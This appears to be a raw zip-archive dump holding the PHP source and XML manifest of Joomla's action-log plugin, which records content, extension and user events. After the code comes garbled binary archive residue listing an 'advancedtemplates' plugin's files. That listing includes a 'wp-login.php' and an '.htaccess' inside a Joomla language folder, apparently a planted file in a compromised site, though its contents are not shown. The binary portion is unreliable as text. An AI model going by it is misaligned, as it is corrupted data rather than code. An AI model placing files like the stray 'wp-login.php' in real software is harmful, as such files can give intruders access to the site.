			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the content type doesn't has it own language key, use default
language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);

		$message = array(
			'action'   => $isNew ? 'add' :
'update',
			'type'     => $params->text_prefix . '_TYPE_'
. $params->type_title,
			'id'       => $id,
			'title'    => $article->get($params->title_holder),
			'itemlink' => ActionlogsHelper::getContentTypeLink($option,
$contentType, $id, $params->id_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * After delete content logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called right after the content is deleted
	 *
	 * @param   string  $context  The context of the content passed to the
plugin
	 * @param   object  $article  A JTableContent object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterDelete($context, $article)
	{
		$option = $this->app->input->get('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		// If the content type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix
. '_' . $params->type_title . '_DELETED')))
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_DELETED';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
		}

		$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);

		$message = array(
			'action' => 'delete',
			'type'   => $params->text_prefix . '_TYPE_' .
$params->type_title,
			'id'     => $id,
			'title'  => $article->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On content change status logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when the status of the article is changed
	 *
	 * @param   string   $context  The context of the content passed to the
plugin
	 * @param   array    $pks      An array of primary key ids of the content
that has changed state.
	 * @param   integer  $value    The value of the state that the content has
been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		switch ($value)
		{
			case 0:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UNPUBLISHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
				$action             = 'unpublish';
				break;
			case 1:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_PUBLISHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
				$action             = 'publish';
				break;
			case 2:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ARCHIVED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
				$action             = 'archive';
				break;
			case -2:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_TRASHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
				$action             = 'trash';
				break;
			default:
				$messageLanguageKey = '';
				$defaultLanguageKey = '';
				$action             = '';
				break;
		}

		// If the content type doesn't has it own language key, use default
language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array($params->title_holder,
$params->id_holder)))
			->from($db->quoteName($params->table_name))
			->where($db->quoteName($params->id_holder) . ' IN ('
. implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList($params->id_holder);
		}
		catch (RuntimeException $e)
		{
			$items = array();
		}

		$messages = array();

		foreach ($pks as $pk)
		{
			$message = array(
				'action'      => $action,
				'type'        => $params->text_prefix .
'_TYPE_' . $params->type_title,
				'id'          => $pk,
				'title'       =>
$items[$pk]->{$params->title_holder},
				'itemlink'    =>
ActionlogsHelper::getContentTypeLink($option, $contentType, $pk,
$params->id_holder)
			);

			$messages[] = $message;
		}

		$this->addLog($messages, $messageLanguageKey, $context);
	}

	/**
	 * On Saving application configuration logging method
	 * Method is called when the application config is being saved
	 *
	 * @param   JRegistry  $config  JRegistry object with the new config
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onApplicationAfterSave($config)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
		$action             = 'update';

		$message = array(
			'action'         => $action,
			'type'           =>
'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
			'extension_name' => 'com_config.application',
			'itemlink'       => 'index.php?option=com_config'
		);

		$this->addLog(array($message), $messageLanguageKey,
'com_config.application');
	}

	/**
	 * On installing extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is installed
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_INSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_INSTALLED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On uninstalling extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is uninstalled
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   integer     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// If the process failed, we don't have manifest data, stop process
to avoid fatal error
		if ($result === false)
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UNINSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UNINSTALLED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On updating extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is updated
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UPDATED'))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UPDATED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
		}

		$message = array(
			'action'         => 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		$option = $this->app->input->getCmd('option');

		if ($table->get('module') != null)
		{
			$option = 'com_modules';
		}

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the extension type doesn't have it own language key, use
default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$message = array(
			'action'         => $isNew ? 'add' :
'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $params->type_title,
			'id'             => $table->get($params->id_holder),
			'title'          =>
$table->get($params->title_holder),
			'extension_name' =>
$table->get($params->title_holder),
			'itemlink'       =>
ActionlogsHelper::getContentTypeLink($option, $contentType,
$table->get($params->id_holder), $params->id_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Deleting extensions logging method
	 * Method is called when an extension is being deleted
	 *
	 * @param   string  $context  The extension
	 * @param   JTable  $table    DataBase Table object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterDelete($context, $table)
	{
		if
(!$this->checkLoggable($this->app->input->get('option')))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action' => 'delete',
			'type'   => 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
$params->type_title,
			'title'  => $table->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On saving user data logging method
	 *
	 * Method is called after user data is stored in the database.
	 * This method logs who created/edited any user's data
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the
database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$context = $this->app->input->get('option');
		$task    = $this->app->input->get->getCmd('task');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$jUser = Factory::getUser();

		if (!$jUser->id)
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
			$action             = 'register';

			// Reset request
			if ($task === 'reset.request')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
				$action             = 'resetrequest';
			}

			// Reset complete
			if ($task === 'reset.complete')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
				$action             = 'resetcomplete';
			}

			// Registration Activation
			if ($task === 'registration.activate')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
				$action             = 'activaterequest';
			}
		}
		elseif ($isnew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$userId   = $jUser->id ?: $user['id'];
		$username = $jUser->username ?: $user['username'];

		$message = array(
			'action'      => $action,
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name'],
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user['id'],
			'userid'      => $userId,
			'username'    => $username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$userId,
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$userId);
	}

	/**
	 * On deleting user data logging method
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the
database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On after save user group data logging method
	 *
	 * Method is called after user group is stored into the database
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    Is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSaveGroup($context, $table, $isNew)
	{
		// Override context (com_users.group) with the component context
(com_users) to pass the checkLoggable
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		if ($isNew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$message = array(
			'action'      => $action,
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $table->id,
			'title'       => $table->title,
			'itemlink'    =>
'index.php?option=com_users&task=group.edit&id=' .
$table->id
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On deleting user group data logging method
	 *
	 * Method is called after user group is deleted from the database
	 *
	 * @param   array    $group    Holds the group data
	 * @param   boolean  $success  True if user was successfully stored in the
database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDeleteGroup($group, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $group['id'],
			'title'       => $group['title']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Method to log user login success action
	 *
	 * @param   array  $options  Array holding options (user, responseType)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterLogin($options)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedInUser       = $options['user'];
		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';

		$message = array(
			'action'      => 'login',
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
	}

	/**
	 * Method to log user login failed action
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLoginFailure($response)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// Get the user id for the given username
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id',
'username')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' =
' . $this->db->quote($response['username']));
		$this->db->setQuery($query);

		try
		{
			$loggedInUser = $this->db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return;
		}

		// Not a valid user, return
		if (!isset($loggedInUser->id))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';

		$message = array(
			'action'      => 'login',
			'id'          => $loggedInUser->id,
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
	}

	/**
	 * Method to log user's logout action
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember,
autoregister, group)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLogout($user, $options = array())
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedOutUser = User::getInstance($user['id']);

		if ($loggedOutUser->block)
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';

		$message = array(
			'action'      => 'logout',
			'id'          => $loggedOutUser->id,
			'userid'      => $loggedOutUser->id,
			'username'    => $loggedOutUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedOutUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Function to check if a component is loggable or not
	 *
	 * @param   string  $extension  The extension that triggered the event
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	protected function checkLoggable($extension)
	{
		return in_array($extension, $this->loggableExtensions);
	}

	/**
	 * On after Remind username request
	 *
	 * Method is called after user request to remind their username.
	 *
	 * @param   array  $user  Holds the user data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterRemind($user)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'remind',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->name,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->name,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);

		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
	}

	/**
	 * On after Check-in request
	 *
	 * Method is called after user request to check-in items.
	 *
	 * @param   array  $table  Holds the table name.
	 *
	 * @return  void
	 *
	 * @since   3.9.3
	 */
	public function onAfterCheckin($table)
	{
		$context = 'com_checkin';
		$user    = Factory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'checkin',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'table'       => $table,
		);

		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
	}

	/**
	 * On after log action purge
	 *
	 * Method is called after user request to clean action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogPurge($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
	}

	/**
	 * On after log export
	 *
	 * Method is called after user request to export action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogExport($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
	}

	/**
	 * On after Cache purge
	 *
	 * Method is called after user request to clean cached items.
	 *
	 * @param   string  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterPurge($group = 'all')
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'cache',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'group'       => $group,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
	}

	/**
	 * On after CMS Update
	 *
	 * Method is called after user update the CMS.
	 *
	 * @param   string  $oldVersion  The Joomla version before the update
	 *
	 * @return  void
	 *
	 * @since   3.9.21
	 */
	public function onJoomlaAfterUpdate($oldVersion = null)
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (empty($oldVersion))
		{
			$oldVersion = JText::_('JLIB_UNKNOWN');
		}

		$message = array(
			'action'      => 'joomlaupdate',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'version'     => JVERSION,
			'oldversion'  => $oldVersion,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
	}
}
PKdo�[�TM�11joomla/joomla.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_JOOMLA</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
		<language
tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
	</languages>
</extension>
PKao�[����

'advancedtemplates/advancedtemplates.phpnu�[���PKao�[YOm�kk'aadvancedtemplates/advancedtemplates.xmlnu�[���PKao�[�כ�>>J#advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ininu�[���PKao�[�ȯ��N�!advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[��6VVJ�$advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ininu�[���PKao�[�5J��N�,advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[l�?���J�/advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ininu�[���PKao�[�����N�7advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[�!n�		*�:advancedtemplates/language/de-DE/.htaccessnu�[���PKao�[��NmEmE-_<advancedtemplates/language/de-DE/wp-login.phpnu�[���PKao�[�4�J)�advancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.ininu�[���PKao�[ܡ�f��N‰advancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[RR�ܣ�JԌadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.ininu�[���PKao�[ɺ�N�advancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[*0���J)�advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.ininu�[���PKao�[0(s{��N}�advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[%(+�BBJ��advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.ininu�[���PKao�[���e��Ni�advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.sys.ininu�[���PKao�[�+�55J�advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.ininu�[���PKao�[���e��N.�advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[8�L��JD�advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��NX�advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[���OOJn�advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���
��N7�advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[n��yQQJV�advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��N!�advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[�;e�llJ7�advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.ininu�[���PKbo�[��*`��N�advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[m0�aaJ?�advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.ininu�[���PKbo�[M�6`��N�advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[{�${@@J5�advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��N�advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[�����J�advancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.ininu�[���PKbo�[���e��NFadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.sys.ininu�[���PKbo�[��88J\advancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.ininu�[���PKbo�[�8�|��Nadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[am���J*advancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.ininu�[���PKco�[�uD��Nyadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[:���J�advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.ininu�[���PKco�[���e��N�$advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[j���PPJ(advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.ininu�[���PKco�[���e��N�/advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.sys.ininu�[���